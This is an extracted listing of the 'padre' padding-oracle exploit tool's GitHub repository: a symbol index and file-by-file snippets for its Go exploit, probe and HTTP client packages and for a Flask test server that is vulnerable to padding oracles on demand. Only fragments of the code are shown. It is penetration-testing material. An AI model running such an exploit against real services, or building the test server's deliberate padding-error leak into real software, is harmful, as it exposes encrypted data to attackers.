  function xorSlices (line 6) | func xorSlices(s1 []byte, s2 []byte) []byte {
  function Pkcs7Pad (line 20) | func Pkcs7Pad(input string, blockLen int) string {
  function newXORingStreamer (line 25) | func newXORingStreamer(xorArg []byte, outChan chan byte) func(byte) {

FILE: pkg/output/hackybar.go
  constant updateFreq (line 15) | updateFreq = 13
  type HackyBar (line 22) | type HackyBar struct
    method Stop (line 60) | func (p *HackyBar) Stop() {
    method Start (line 66) | func (p *HackyBar) Start() {
    method listenAndPrint (line 72) | func (p *HackyBar) listenAndPrint() {
    method buildStatusString (line 133) | func (p *HackyBar) buildStatusString(hacky bool) string {
  function CreateHackyBar (line 45) | func CreateHackyBar(encoder encoder.Encoder, outputByteLen int, encryptM...
  function unknownString (line 198) | func unknownString(n int, hacky bool) string {

FILE: pkg/output/prefix.go
  constant space (line 10) | space = ` `
  type prefix (line 17) | type prefix struct
    method string (line 27) | func (p *prefix) string() string {
    method setLF (line 45) | func (p *prefix) setLF() {
  function newPrefix (line 53) | func newPrefix(s string, outter *prefix, paragraph bool) *prefix {

FILE: pkg/output/printer.go
  constant _LF (line 12) | _LF = "\n"
  constant _CR (line 13) | _CR = "\x1b\x5b2K\r"
  type Printer (line 17) | type Printer struct
    method print (line 25) | func (p *Printer) print(s string) {
    method Print (line 29) | func (p *Printer) Print(s string) {
    method AddPrefix (line 46) | func (p *Printer) AddPrefix(s string, paragraph bool) {
    method RemovePrefix (line 51) | func (p *Printer) RemovePrefix() {
    method Println (line 56) | func (p *Printer) Println(s string) {
    method Printcr (line 66) | func (p *Printer) Printcr(s string) {
    method Printf (line 71) | func (p *Printer) Printf(format string, a ...interface{}) {
    method Printlnf (line 75) | func (p *Printer) Printlnf(format string, a ...interface{}) {
    method Printcrf (line 79) | func (p *Printer) Printcrf(format string, a ...interface{}) {
    method PrintWithPrefix (line 84) | func (p *Printer) PrintWithPrefix(prefix, message string) {
    method Error (line 90) | func (p *Printer) Error(err error) {
    method Errorf (line 94) | func (p *Printer) Errorf(format string, a ...interface{}) {
    method Hint (line 98) | func (p *Printer) Hint(format string, a ...interface{}) {
    method Warning (line 102) | func (p *Printer) Warning(format string, a ...interface{}) {
    method Success (line 106) | func (p *Printer) Success(format string, a ...interface{}) {
    method Info (line 110) | func (p *Printer) Info(format string, a ...interface{}) {
    method Action (line 114) | func (p *Printer) Action(s string) {

FILE: pkg/probe/confirm.go
  function ConfirmPaddingOracle (line 12) | func ConfirmPaddingOracle(c *client.Client, matcher PaddingErrorMatcher,...

FILE: pkg/probe/detect.go
  function DetectPaddingErrorFingerprint (line 11) | func DetectPaddingErrorFingerprint(c *client.Client, blockLen int) (Padd...
  function inSlice (line 79) | func inSlice(slice []int, value int) bool {

FILE: pkg/probe/fingerprint.go
  type ResponseFingerprint (line 10) | type ResponseFingerprint struct
  function GetResponseFingerprint (line 17) | func GetResponseFingerprint(resp *client.Response) (*ResponseFingerprint...
  function countLines (line 26) | func countLines(input []byte) int {
  function countWords (line 40) | func countWords(input []byte) int {

FILE: pkg/probe/interface.go
  type PaddingErrorMatcher (line 6) | type PaddingErrorMatcher interface

FILE: pkg/probe/matcher.go
  type matcherByFingerprint (line 9) | type matcherByFingerprint struct
    method IsPaddingError (line 13) | func (m *matcherByFingerprint) IsPaddingError(resp *client.Response) (...
  type matcherByRegexp (line 29) | type matcherByRegexp struct
    method IsPaddingError (line 33) | func (m *matcherByRegexp) IsPaddingError(resp *client.Response) (bool,...
  function NewMatcherByRegexp (line 37) | func NewMatcherByRegexp(r string) (PaddingErrorMatcher, error) {

FILE: pkg/util/http.go
  function ParseCookies (line 11) | func ParseCookies(cookies string) (cookSlice []*http.Cookie, err error) {
  function DetectContentType (line 39) | func DetectContentType(data string) string {

FILE: pkg/util/http_test.go
  function TestParseCookies (line 9) | func TestParseCookies(t *testing.T) {
  function TestDetectContentType (line 37) | func TestDetectContentType(t *testing.T) {

FILE: pkg/util/random.go
  function init (line 12) | func init() {
  function RandomSlice (line 26) | func RandomSlice(len int) []byte {

FILE: pkg/util/random_test.go
  function TestRandomSlice (line 9) | func TestRandomSlice(t *testing.T) {

FILE: pkg/util/strings.go
  function ReverseString (line 6) | func ReverseString(in string) string {

FILE: pkg/util/strings_test.go
  function TestReverseString (line 5) | func TestReverseString(t *testing.T) {

FILE: pkg/util/terminal.go
  function TerminalWidth (line 11) | func TerminalWidth() (int, error) {
  function IsTerminal (line 23) | func IsTerminal(file *os.File) bool {

FILE: test_server/app.py
  function AES_key (line 14) | def AES_key():
  function get_encoding (line 22) | def get_encoding(request):
  function route_encrypt (line 35) | def route_encrypt():
  function route_decrypt (line 58) | def route_decrypt():
  function health (line 80) | def health():
  function handle_incorrect_padding (line 89) | def handle_incorrect_padding(exc):

FILE: test_server/crypto.py
  function random_bytes (line 7) | def random_bytes(length: int) -> bytes:
  class IncorrectPadding (line 14) | class IncorrectPadding(Exception):
    method __init__ (line 15) | def __init__(self):
  function encrypt (line 19) | def encrypt(data: bytes, key: bytes) -> bytes:
  function decrypt (line 30) | def decrypt(data: bytes, key: bytes) -> str:

FILE: test_server/encoder.py
  class Encoding (line 5) | class Encoding(Enum):
  function decode (line 11) | def decode(data: str, encoding: Encoding) -> bytes:
  function encode (line 22) | def encode(data, encoding: Encoding) -> str:

FILE: test_server/tests/app_test.py
  function encoding (line 9) | def encoding(request):
  function is_vulnerable (line 14) | def is_vulnerable(request):
  function http_method (line 19) | def http_method(request):
  function secret (line 24) | def secret():
  function client (line 29) | def client(is_vulnerable, secret):
  function call_route (line 41) | def call_route(client, http_method):
  function test_app (line 54) | def test_app(call_route, plaintext, is_vulnerable, encoding):
  function test_absent_params (line 82) | def test_absent_params(call_route):
  function test_health (line 97) | def test_health(call_route):

FILE: test_server/tests/crypto_test.py
  function AES_key (line 10) | def AES_key():
  function generate_plain_variants (line 14) | def generate_plain_variants():
  function test_encrypt_decrypt (line 21) | def test_encrypt_decrypt(AES_key, plain):

FILE: test_server/tests/encoder_test.py
  function test_encoding_decoding (line 9) | def test_encoding_decoding(value, encoding):
  function test_unknown_encoding (line 15) | def test_unknown_encoding():

FILE: usage.go
  function init (line 69) | func init() {
Condensed preview — 69 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (97K chars).
[
  {
    "path": ".dockerignore",
    "chars": 41,
    "preview": "test_server\nDockerfile\ndocker-compose.yml"
  },
  {
    "path": ".github/dependabot.yml",
    "chars": 668,
    "preview": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where "
  },
  {
    "path": ".github/workflows/build-release.yaml",
    "chars": 1811,
    "preview": "name: Publish release\non:\n  push:\n    tags:\n    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\njobs:\n  releas"
  },
  {
    "path": ".github/workflows/test.yaml",
    "chars": 814,
    "preview": "on: [push, pull_request]\nname: Test\njobs:\n  test:\n    strategy:\n      matrix:\n        go-version: [1.18.x, 1.19.x, 1.20."
  },
  {
    "path": ".gitignore",
    "chars": 31,
    "preview": ".vscode/\nroot.crt\ncoverage.out\n"
  },
  {
    "path": "Dockerfile",
    "chars": 118,
    "preview": "FROM golang:1.17\n\nWORKDIR /padre\n\n# Build\nCOPY . .\nRUN go mod download\nRUN go build -o padre .\n\n# Runn\nCMD [\"./padre\"]"
  },
  {
    "path": "LICENSE",
    "chars": 1065,
    "preview": "MIT License\n\nCopyright (c) 2023 glebarez\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
  },
  {
    "path": "Makefile",
    "chars": 71,
    "preview": "test:\n\tgo test -race -coverprofile=coverage.out -covermode=atomic ./..."
  },
  {
    "path": "README.md",
    "chars": 4179,
    "preview": "![](https://img.shields.io/github/go-mod/go-version/glebarez/padre) ![Publish release](https://github.com/glebarez/padre"
  },
  {
    "path": "arg_errors.go",
    "chars": 860,
    "preview": "package main\n\nimport \"fmt\"\n\ntype argErrors struct {\n\terrors   []error\n\twarnings []string\n}\n\nfunc newArgErrors() *argErro"
  },
  {
    "path": "args.go",
    "chars": 4204,
    "preview": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color"
  },
  {
    "path": "docker-compose.yml",
    "chars": 834,
    "preview": "version: \"2.1\"\n\nservices:\n    vuln-server:\n        build: ./test_server\n        environment: \n            VULNERABLE: 1\n"
  },
  {
    "path": "go.mod",
    "chars": 479,
    "preview": "module github.com/glebarez/padre\n\ngo 1.17\n\nrequire (\n\tgithub.com/fatih/color v1.18.0\n\tgithub.com/mattn/go-isatty v0.0.20"
  },
  {
    "path": "go.sum",
    "chars": 2810,
    "preview": "github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1"
  },
  {
    "path": "hints.go",
    "chars": 1569,
    "preview": "package main\n\nimport (\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/output\"\n)\n\n// flag wrapper"
  },
  {
    "path": "main.go",
    "chars": 7612,
    "preview": "package main\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github"
  },
  {
    "path": "pkg/client/client.go",
    "chars": 2748,
    "preview": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/enco"
  },
  {
    "path": "pkg/client/client_test.go",
    "chars": 2997,
    "preview": "package client\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github.com/gl"
  },
  {
    "path": "pkg/client/probe.go",
    "chars": 1804,
    "preview": "package client\n\nimport (\n\t\"context\"\n\t\"sync\"\n)\n\n// equals to 2**8, since we're testing every possible value of a byte\ncon"
  },
  {
    "path": "pkg/client/probe_test.go",
    "chars": 1848,
    "preview": "package client\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\n\t\"github"
  },
  {
    "path": "pkg/client/response.go",
    "chars": 109,
    "preview": "package client\n\n// Response - HTTP Response data\ntype Response struct {\n\tStatusCode int\n\tBody       []byte\n}\n"
  },
  {
    "path": "pkg/client/util.go",
    "chars": 451,
    "preview": "package client\n\nimport (\n\t\"net/url\"\n\t\"strings\"\n)\n\n// replace all occurrences of $ placeholder in a string, url-encoded i"
  },
  {
    "path": "pkg/color/color.go",
    "chars": 1401,
    "preview": "package color\n\nimport (\n\t\"os\"\n\t\"regexp\"\n\n\t\"github.com/fatih/color\"\n\t\"github.com/mattn/go-isatty\"\n)\n\nvar colorMatcher *re"
  },
  {
    "path": "pkg/color/color_test.go",
    "chars": 562,
    "preview": "package color\n\nimport \"testing\"\n\nfunc TestTrueLen(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\ttests := []struct {"
  },
  {
    "path": "pkg/encoder/ascii.go",
    "chars": 648,
    "preview": "package encoder\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n)\n\n// ASCII encoder\ntype asciiEncoder struct{}\n\n// escapes non standard ASCI"
  },
  {
    "path": "pkg/encoder/ascii_test.go",
    "chars": 834,
    "preview": "package encoder\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc Test_asciiEncoder_EncodeToString(t "
  },
  {
    "path": "pkg/encoder/factory.go",
    "chars": 335,
    "preview": "package encoder\n\nimport \"encoding/base64\"\n\nfunc NewB64encoder(replacements string) Encoder {\n\treturn newEncoderWithRepla"
  },
  {
    "path": "pkg/encoder/hex.go",
    "chars": 298,
    "preview": "package encoder\n\nimport \"encoding/hex\"\n\n// lowercase hex encoder/decoder\ntype lhexEncoder struct{}\n\nfunc (h *lhexEncoder"
  },
  {
    "path": "pkg/encoder/interface.go",
    "chars": 255,
    "preview": "package encoder\n\n// Encoder - performs encoding/decoding\ntype Encoder interface {\n\tEncodeToString([]byte) string\n\tDecode"
  },
  {
    "path": "pkg/encoder/replacer.go",
    "chars": 1101,
    "preview": "package encoder\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n/* wrapper for encoderDecoder with charac"
  },
  {
    "path": "pkg/encoder/replacer_test.go",
    "chars": 1242,
    "preview": "package encoder\n\nimport (\n\t\"encoding/base64\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n\t\"github.com/s"
  },
  {
    "path": "pkg/exploit/decrypt.go",
    "chars": 1491,
    "preview": "package exploit\n\nimport \"fmt\"\n\nfunc (p *Padre) Decrypt(ciphertext []byte, byteStream chan byte) ([]byte, error) {\n\tblock"
  },
  {
    "path": "pkg/exploit/encrypt.go",
    "chars": 1510,
    "preview": "package exploit\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\nfunc (p *Padre) Encrypt(plainText string, byt"
  },
  {
    "path": "pkg/exploit/exploit.go",
    "chars": 2981,
    "preview": "package exploit\n\n/* implementation of Padding Oracle exploit algorithm */\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/glebarez/padre/"
  },
  {
    "path": "pkg/exploit/padre.go",
    "chars": 205,
    "preview": "package exploit\n\nimport (\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/probe\"\n)\n\ntype Padre s"
  },
  {
    "path": "pkg/exploit/probes.go",
    "chars": 1377,
    "preview": "package exploit\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// detect byte values that do not produ"
  },
  {
    "path": "pkg/exploit/util.go",
    "chars": 663,
    "preview": "package exploit\n\nimport \"strings\"\n\n// XORs 2 slices of bytes\nfunc xorSlices(s1 []byte, s2 []byte) []byte {\n\tif len(s1) !"
  },
  {
    "path": "pkg/output/hackybar.go",
    "chars": 6635,
    "preview": "package output\n\nimport (\n\t\"fmt\"\n\t\"math/rand\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github"
  },
  {
    "path": "pkg/output/prefix.go",
    "chars": 1460,
    "preview": "package output\n\nimport (\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nconst (\n\tspace = ` `\n)\n\n// represents a c"
  },
  {
    "path": "pkg/output/printer.go",
    "chars": 2617,
    "preview": "package output\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\n// some often used strings\nconst (\n\t_LF"
  },
  {
    "path": "pkg/probe/confirm.go",
    "chars": 972,
    "preview": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// "
  },
  {
    "path": "pkg/probe/detect.go",
    "chars": 2123,
    "preview": "package probe\n\nimport (\n\t\"context\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\n// "
  },
  {
    "path": "pkg/probe/fingerprint.go",
    "chars": 948,
    "preview": "package probe\n\nimport (\n\t\"unicode\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\n// ResponseFingerprint ...\ntype ResponseF"
  },
  {
    "path": "pkg/probe/interface.go",
    "chars": 224,
    "preview": "package probe\n\nimport \"github.com/glebarez/padre/pkg/client\"\n\n// PaddingErrorMatcher - tests if HTTP response matches wi"
  },
  {
    "path": "pkg/probe/matcher.go",
    "chars": 772,
    "preview": "package probe\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n)\n\ntype matcherByFingerprint struct {\n\tfinger"
  },
  {
    "path": "pkg/util/http.go",
    "chars": 1282,
    "preview": "package util\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n)\n\n// ParseCookies parses cookies in raw string format"
  },
  {
    "path": "pkg/util/http_test.go",
    "chars": 1435,
    "preview": "package util\n\nimport (\n\t\"net/http\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestParseCookies(t *testing.T) {\n\ttype args struct {\n\t\t"
  },
  {
    "path": "pkg/util/random.go",
    "chars": 747,
    "preview": "package util\n\nimport (\n\t\"bytes\"\n\t\"container/ring\"\n\t\"math/rand\"\n)\n\n// ring buffer for generating random chunks of bytes\nv"
  },
  {
    "path": "pkg/util/random_test.go",
    "chars": 352,
    "preview": "package util\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestRandomSlice(t *testing.T) {\n\tvar r"
  },
  {
    "path": "pkg/util/strings.go",
    "chars": 253,
    "preview": "package util\n\nimport \"strings\"\n\n// ReverseString returns reverse of a string (does not support runes)\nfunc ReverseString"
  },
  {
    "path": "pkg/util/strings_test.go",
    "chars": 435,
    "preview": "package util\n\nimport \"testing\"\n\nfunc TestReverseString(t *testing.T) {\n\ttype args struct {\n\t\tin string\n\t}\n\ttests := []st"
  },
  {
    "path": "pkg/util/terminal.go",
    "chars": 554,
    "preview": "package util\n\nimport (\n\t\"os\"\n\n\t\"github.com/mattn/go-isatty\"\n\t\"github.com/nsf/termbox-go\"\n)\n\n// TerminalWidth determines "
  },
  {
    "path": "test_server/.dockerignore",
    "chars": 42,
    "preview": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
  },
  {
    "path": "test_server/.gitignore",
    "chars": 42,
    "preview": "__pycache__/\n.pytest_cache/\nhtmlcov/\nvenv/"
  },
  {
    "path": "test_server/.python-version",
    "chars": 6,
    "preview": "3.9.2\n"
  },
  {
    "path": "test_server/Dockerfile",
    "chars": 168,
    "preview": "FROM python:3.9\n\nWORKDIR /usr/src/app\n\nCOPY requirements.txt ./\nRUN pip install --no-cache-dir -r requirements.txt\n\nCOPY"
  },
  {
    "path": "test_server/README.md",
    "chars": 780,
    "preview": "## Test server that is (on-demand) vulnerable to Padding Oracle\nUse for testing purposes. AES only by now\n\n## Config\nCon"
  },
  {
    "path": "test_server/app.py",
    "chars": 2631,
    "preview": "import functools\nimport hashlib\nimport traceback\n\nfrom flask import Flask, make_response, request\nfrom werkzeug.exceptio"
  },
  {
    "path": "test_server/crypto.py",
    "chars": 951,
    "preview": "import random\n\nfrom Crypto.Cipher import AES\nfrom Crypto.Util import Padding\n\n\ndef random_bytes(length: int) -> bytes:\n "
  },
  {
    "path": "test_server/docker-compose.yaml",
    "chars": 172,
    "preview": "version: \"2.1\"\n\nservices:\n    vuln-server:\n        build: .\n        environment: \n            VULNERABLE: 1\n            "
  },
  {
    "path": "test_server/encoder.py",
    "chars": 743,
    "preview": "import binascii as ba\nfrom enum import Enum, auto\n\n\nclass Encoding(Enum):\n    B64 = auto()  # base64\n    LHEX = auto()  "
  },
  {
    "path": "test_server/requirements.txt",
    "chars": 80,
    "preview": "Flask==2.3.2\ngevent==23.9.1\npycryptodome==3.19.1\npytest==6.2.5\npytest-cov==3.0.0"
  },
  {
    "path": "test_server/server.py",
    "chars": 573,
    "preview": "import os\n\nfrom app import app\n\nif __name__ == \"__main__\":\n    # get application config from environment\n    for envvar "
  },
  {
    "path": "test_server/setup.cfg",
    "chars": 267,
    "preview": "[tool:pytest]\ntestpaths =\n    tests\naddopts =\n    --cov=.\n    --cov-report=html\n    --cov-report=term\npython_functions ="
  },
  {
    "path": "test_server/tests/__init__.py",
    "chars": 36,
    "preview": "# do not delete\n# needed for pytest\n"
  },
  {
    "path": "test_server/tests/app_test.py",
    "chars": 2988,
    "preview": "from argparse import Namespace\n\nimport pytest, itertools\n\nfrom app import app\nfrom encoder import Encoding\n\n@pytest.fixt"
  },
  {
    "path": "test_server/tests/crypto_test.py",
    "chars": 996,
    "preview": "import Crypto.Cipher.AES\nimport pytest\n\nimport crypto\n\nKEY_LENGTH = 16\n\n\n@pytest.fixture\ndef AES_key():\n    return crypt"
  },
  {
    "path": "test_server/tests/encoder_test.py",
    "chars": 534,
    "preview": "import pytest\n\nfrom crypto import random_bytes\nfrom encoder import Encoding, decode, encode\n\n\n@pytest.mark.parametrize(\""
  },
  {
    "path": "usage.go",
    "chars": 3054,
    "preview": "package main\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n)\n\nvar usage = `\nUsage: cmd(padre [OPTIONS] [IN"
  }
]

About this extraction

This page contains the full source code of the glebarez/padre GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 69 files (84.9 KB), approximately 25.4k tokens, and a symbol index with 146 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!